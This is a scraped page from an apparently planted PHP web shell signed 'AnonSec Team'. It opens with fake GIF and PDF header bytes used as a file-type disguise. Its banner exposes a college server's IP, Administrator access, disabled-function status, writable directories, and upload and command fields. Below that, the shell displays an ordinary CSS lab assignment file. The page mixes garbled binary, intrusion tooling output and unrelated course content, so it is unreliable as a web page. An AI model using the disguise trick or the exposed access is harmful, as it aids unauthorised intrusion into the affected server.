GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/MMDT1021/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/MMDT1021/Lab04.php
<?
// Lab04.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 6;
$assignmentType = "Lesson";
$assignmentTitle = "Style Sheet Building Blocks";
$evaluationNumber = 4;
$evaluationType = "Lab";
$evaluationTitle = "Style Sheet Building Blocks";
if (!isset($evaluationNumber)) { $evaluationNumber = $assignmentNumber; }
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; }
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; } else { $evaluationName = $evaluationType.$evaluationNumber; }
$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<p>
<fieldset><legend><?=$evaluationType?> Assignment</legend><span class="normal">
In this lab you are going to begin using Cascading Style Sheets (CSS). You will demonstrate competence in the use of the internal style sheet and will use the <b>color</b>, <b>font-size</b>, <b>border</b>, and <b>background-color</b> property/value pairs.
<br />
Create a <b><?=$evaluationName?></b> folder and keep all files for this lab in that folder.
<br />
Please follow the instructions below to complete this lab.
<br /><br />
<ol>
	<li>Create a web page file named <b><?=$evaluationName?>.htm</b>.
		<br />Specify a <b>DOCTYPE</b> as the very first line in the HTML document.
		<br />Insert a comment before the <b>head</b> section containing the text <b><?=$evaluationType?> <?=$evaluationNumber?> - firstname lastname</b> where firstname is your first name and lastname is your last name.
		<br />Set character encoding to UTF-8, UTF-16, or another character set of your choice.
		<br />Title the page <b><?=$evaluationType?> <?=$evaluationNumber?> - firstname lastname</b> where firstname is your first name and lastname is your last name.
		<br />Put an <b>h2</b> heading in the body containing the text <b><?=$evaluationType?> <?=$evaluationNumber?> - firstname lastname</b> where firstname is your first name and lastname is your last name.
	</li>
	<li>Place and internal <b>style</b> of <b>type="text/css"</b> in the <b>head</b> section. Create the following styles in this <b>style</b> element:
		<br><b>h1</b> with color set to red and font-size set to 36px;
		<br><b>p</b> class of blue. With border set to 1px soild blue.
		<br><b>p</b> class of dash. With border set to 2px dashed blue and background-color set to yellow.
		<br><b>p</b> id of footer. With color set to silver and font-size set to small.
	</li>
	<li>Put in an <b>h1</b> element with text of your choice.</li>
	<li>Put in an <b>p</b> element of class blue with text of your choice.</li>
	<li>Put in an <b>p</b> element of class dash with text of your choice.</li>
	<li>Put in an <b>p</b> element with an id of footer with text of your choice.</li>
	<br />
	<li>Submit this assignment for evaluation.
		<ol type="a">
			<li>Zip up the <b><?=$evaluationName?></b> folder into a file called <b><?=$evaluationName?>.zip</b>.</li>
			<li>Send the <b><?=$evaluationName?>.zip</b> file as an attachment using email to <b>jim.martinson@ridgewater.edu</b> with a subject of <span style="white-space:nowrap;"><b><?=$courseNumber?> <?=$evaluationName?> submission</b></span>.</li>
			<li>If you are not using Ridgewater's email system then enter your name as the first line of the message.</li>
		</ol>
	</li>
</ol>
This is your first attempt at working with CSS.<br />
As an aid the property/value pairs that were used to complete the example for this assignment are listed below:<br />
background-color:yellow;<br />
border:1px solid blue;<br />
border:2px dashed blue;<br />
color:red;<br />
color:silver;<br />
font-size:36px;<br />
font-size:small;<br />
These property/value pairs are listed in alphabetical order and do not include the <i>selectors</i> which determine which elements are affected by a style rule declaration. Also, these are not the only solutions. For instance, <b>color:red;</b> could have been <b>color:#FF0000;</b> or <b>border:1px solid blue;</b> could have been <b>border-width:1px; border-style:solid; border-color:blue;</b>, etc.
</span></fieldset>

<fieldset><legend>Example <span class="normal">- Your result should look similar to the page below:</span></legend>
<p>
<?=$evaluationName?>.htm Example:<br />
<img src="<?=$evaluationName?>.jpg" alt="<?=$evaluationName?> Example" />
</p>
</fieldset>

<fieldset><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team